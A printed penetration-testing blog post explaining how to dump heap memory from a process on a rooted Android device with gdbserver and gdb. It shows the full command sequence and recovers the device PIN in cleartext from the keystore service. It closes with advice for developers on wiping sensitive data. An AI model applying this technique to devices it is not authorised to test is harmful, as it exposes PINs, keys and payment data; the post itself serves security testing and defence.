You are on page 1of 10

How to extract sensitive plaintext data from Andr... https://www.pentestpartners.com/blog/how-to-ext...

Penetration testing and security services

+44 20 3095 0500

About
Services
Events
Security Blog
Demo Videos
Contact

Search
Menu
Search Your search Go

Blog: Android

How to extract sensitive plaintext data from Android memory

1 of 23 04/29/2017 10:18 PM
How to extract sensitive plaintext data from Andr... https://www.pentestpartners.com/blog/how-to-ext...

David Lodge 19 Aug 2015

Right, I’ve had enough of ripping IoT stuff apart for the moment. It’s time to
review and share a technique that I’ve used on my favourite mobile operating
system (Android, duh!), but haven’t had much use for as it requires the right
circumstances.

What I’m going to show you is how to directly dump memory from an Android
process.

This is similar to the process I wrote about at the end of my article about the
debug mode on apps, but this is more flexible and works with native apps.

NOTE: It sounds cool, right? But you need to be root and need to have an
app with “juicy” stuff in memory and stuff that you can’t get through the
app’s files.

Needless to say, I found a use.

2 of 23 04/29/2017 10:18 PM
How to extract sensitive plaintext data from Andr... https://www.pentestpartners.com/blog/how-to-ext...

An app I was testing stored very little real data, had a lock functionality on it,
performed certificate pinning and compared the unlock code over the Internets,
so it was never stored locally. It also didn’t perform any form of checking to see
whether I was root.

I like a challenge.

The setup

Okay, this requires some work to get your (rooted) device ready. You need to edit
the system partition to add the GNU debugger (gdb) to it. Fortunately you don’t
need to compile this a pre-compiled version is part of the Android Native
Development Kit (NDK).

Grab the Native Development Kit (NDK), extract it somewhere and find the right
version of gdbserver for your platform. I’ll be using the ARM version on my
Nexus 4 as it makes sense.

The steps are the same as adding anything to the root partition:

1. Upload the file


2. Enter a shell and become root
3. Remount /system as read/write
4. Copy file to /system/xbin (or /system/bin)
5. Change permissions to ensure that it is executable
6. Clean up

Or:

C:toolsandroid-ndk-r10eprebuiltandroid-arm>adb push gdbserver /sdcard


push: gdbserver/gdbserver -> /sdcard/gdbserver
1 file pushed. 0 files skipped.
2668 KB/s (409940 bytes in 0.150s)C:toolsandroid-ndk-r10eprebuiltandroid-
arm>adb shell
shell@mako:/ $ su
su
root@mako:/ # mount -o rw,remount /system
mount -o rw,remount /system
root@mako:/ # cp /sdcard/gdbserver /system/xbin
cp /sdcard/gdbserver /system/xbin
root@mako:/ # chmod 555 /system/xbin
chmod 555 /system/xbin
root@mako:/ # mount -o ro,remount /system
mount -o ro,remount /system
root@mako:/ # rm /sdcard/gdbserver
rm /sdcard/gdbserver
root@mako:/ #

3 of 23 04/29/2017 10:18 PM
How to extract sensitive plaintext data from Andr... https://www.pentestpartners.com/blog/how-to-ext...

Now we need a gdb client to talk to the server process. We can’t use the
standard gdb process on most Linux systems as that will not work correctly for
the process in place on the device. So we need to perform a custom compile to
ensure that we have a gdb that will, for example, run on Intel, but understand
ARM.

First, download the gdb source code from gnu.org: (and yes I do write blog
articles quite late at night, committed, that’s me).

[dave@jotunheim ~]$ wget http://ftp.gnu.org/gnu/gdb/gdb-7.7.tar.bz2


–2015-08-13 22:47:26– http://ftp.gnu.org/gnu/gdb/gdb-7.7.tar.bz2
Resolving ftp.gnu.org (ftp.gnu.org)… 208.118.235.20, 2001:4830:134:3::b
Connecting to ftp.gnu.org (ftp.gnu.org)|208.118.235.20|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 24846320 (24M) [application/x-bzip2]
Saving to: ‘gdb-7.7.tar.bz2’gdb-7.7.tar.bz2
100%[==================>] 23.69M 286KB/s in 65s

2015-08-13 22:48:32 (373 KB/s) – ‘gdb-7.7.tar.bz2’ saved [24846320/24846320]


[dave@jotunheim ~]$ bunzip2 gdb-7.7.tar.bz2
[dave@jotunheim ~]$ tar xf gdb-7.7.tar
[dave@jotunheim ~]$ cd gdb-7.7/

Then we can build it normally, by using the –target flag to specify that we want
gdb’s target to be an ARM processor:

[dave@jotunheim gdb-7.7]$ ./configure –target=arm-linux-gnueabi


[dave@jotunheim gdb-7.7]$ make

And, we should now have a version of gdb in the gdb directory that runs on an
Intel device and will understand an ARM target.

Examining the target

Now we have gdb running, we can attempt to read from memory. What we’re
interested in (usually) is the heap memory – this is memory that’s been
requested on the fly either from the Dalvik virtual machine, or if a native app,
from the kernel.

We can find this information out using the /proc pseudo file system on the
device. As an example, I’m going to dump the memory of the device’s keystore
application. The first step is to find out the process id:

root@mako:/ # ps | grep key


keystore 228 1 4248 1680 c0624a6c b6f92838 S /system/bin/keystore

Then we can go to the /proc entry for this process and check the memory map:

4 of 23 04/29/2017 10:18 PM
How to extract sensitive plaintext data from Andr... https://www.pentestpartners.com/blog/how-to-ext...

root@mako:/ # cd /proc/228
cd /proc/228
root@mako:/proc/228 # cat maps | tail
b6fc1000-b6fce000 r-xp 00000000 b3:15 159 /system/bin/linker
b6fce000-b6fcf000 r–p 0000c000 b3:15 159 /system/bin/linker
b6fcf000-b6fd0000 rw-p 0000d000 b3:15 159 /system/bin/linker
b6fd0000-b6fd1000 rw-p 00000000 00:00 0
b6fd1000-b6fda000 r-xp 00000000 b3:15 317 /system/bin/keystore
b6fdb000-b6fdc000 r–p 00009000 b3:15 317 /system/bin/keystore
b6fdc000-b6fdd000 rw-p 0000a000 b3:15 317 /system/bin/keystore
b7712000-b771f000 rw-p 00000000 00:00 0 [heap]
bee86000-beea7000 rw-p 00000000 00:00 0 [stack]
ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors]

What we’ll normally find are is the code that makes up the process and its
libraries and then a copy of the important bits of the process:

heap – memory assigned by the VM or by the kernel for data storage


stack – memory used during function calls etc.

So above we can see that the heap runs from 0xb7712000 – 0xb771f000.

Reading memory

Right, it’s time to grab memory. This is slightly convoluted, but once you get
used to it, it makes sense. The process is:

1. Start gdbserver on the process listening on a port on the device


2. Use adb to forward the port on the device to a local port
3. Use a third party program to forward the local port to the device where you
will be running gdb
4. Connect via gdb
5. Dump the memory
6. Look for stuff
7. $$$ Profit $four$

1. Start gdbserver

This is the simplest part of the process, once you have gdbserver install we can
just attach it to our process, and specify a TCP port for it to listen on. I’ve used
1234/tcp below, because:

1|root@mako:/proc/228 # gdbserver –attach :1234 228


Attached; pid = 228
Listening on port 1234

Don’t ask me why the PID and connection string are that way around, it makes

5 of 23 04/29/2017 10:18 PM
How to extract sensitive plaintext data from Andr... https://www.pentestpartners.com/blog/how-to-ext...

no sense to me either.

We are now listening to the network on port 1234, but as iptables gets in the
way, we need to perform the following.

2. Use adb to forward the port

This will allow us to the use adb and our USB connection to the device to bridge
between a network port on the host and the device:

C:Usersdave>adb forward tcp:1234 tcp:1234

This will now allow us to talk to the device on port 1234/tcp by connecting to
1234/tcp on the host device. There’s one problem:

C:Usersdave>netstat -an | grep 1234


TCP 127.0.0.1:1234 0.0.0.0:0 LISTENING

As you can see it’s only listening on localhost:1234, which means if our version
of gdb is running on another host, or a VM then we need to:

3. Use a third party program to forward the port

This step can be skipped if you’re running gdb and adb on the same host.

I use a really old program called “Port Forwarding for Windows” to forward from
my native OS to the virtual machine I run gdb on:

Using 1234/tcp for simplicity. If this does not work as expected, check your
firewalls as they will often break stuff like this.

Now all this is out of the way we should now be able to connect with gdb.

6 of 23 04/29/2017 10:18 PM
How to extract sensitive plaintext data from Andr... https://www.pentestpartners.com/blog/how-to-ext...

4. Connect with gdb

So I’m going to connect from my Linux VM via my Windows native OS to the


gdbserver running on my Nexus 4, using the custom compiled gdb that I made
earlier:

[dave@jotunheim gdb]$ ./gdbGNU gdb (GDB) 7.7


Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type “show copying”
and “show warranty” for details.
This GDB was configured as “–host=i686-pc-linux-gnu –target=arm-linux-
gnueabi”.
Type “show configuration” for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type “help”.
Type “apropos word” to search for commands related to “word”.
(gdb) target remote 192.168.0.41:1234
Remote debugging using 192.168.0.41:1234
0xb6f92834 in ?? ()
(gdb)

We now have a connection (bit anti-climatic really) so now we can dump the
memory.

5. Dump the memory

This can be performed with the “dump memory” command very quickly. We’ll
use the hex numbers we took from the process’ maps file earlier:

(gdb) dump memory /tmp/heapout 0xb7712000 0xb771f000


(gdb)

This will write the whole of the device’s heap to the file /tmp/heapout.

6. Look for stuff

And…

7. Profit

There will be a format to the heap, but this will depend on who it’s been
allocated by and what’s been allocated. For 90% of cases, a simple strings will

7 of 23 04/29/2017 10:18 PM
How to extract sensitive plaintext data from Andr... https://www.pentestpartners.com/blog/how-to-ext...

do this.

Now, I picked the keystore program for a reason: this is the Android keystore
service and manages all access to the aforementioned keystore. The keystore
uses a masterkey as a KEK (key encryption key). This is derived from the PIN or
password for the device.

Can you see where I’m going? Yes, can we find the device’s PIN? Yes, we can,
we just need to look for user 0’s master key and look at data around it:

[dave@jotunheim tmp]$ strings /tmp/heapout | more


[…]
/masterkey
…skipping
user_0/.masterkey
em_s
1337
password_uid
sync_uid
reset_uid
clear_uid
duplicate

And there we have the device’s PIN in the old cleartext.

How to prevent it

As I said in the intro, as this process requires root it’s only useful in a handful of
situations, mostly where important data is transient, such as credit card PANs
and CVVs and the device has already been rooted.

You can protect yourself though, by a little bit of planning when writing your
apps: ensure that confidential data is destroyed as soon as possible after use.

Also, don’t just mark your objects deleted after use and hope the garbage
collector picks them up – destroy them fully by overwriting all critical data with
random data.

8 of 23 04/29/2017 10:18 PM
How to extract sensitive plaintext data from Andr... https://www.pentestpartners.com/blog/how-to-ext...

CREST Cyber Essentials Testing


Get in touch

020 3095 0500 info@pentestpartners.com Enquiry Form »

Verney Junction Business Park


Verney Junction
Buckingham
MK18 2LB
United Kingdom Map »

Connect

Twitter LinkedIn YouTube

Newsletter

22 of 23 04/29/2017 10:18 PM
How to extract sensitive plaintext data from Andr... https://www.pentestpartners.com/blog/how-to-ext...

Sign up to receive our Security Digest.

Your email address

Sign me up

Company number: OC353362

VAT reg number: 825526427

© 2017 Pen Test Partners LLP

23 of 23 04/29/2017 10:18 PM

You might also like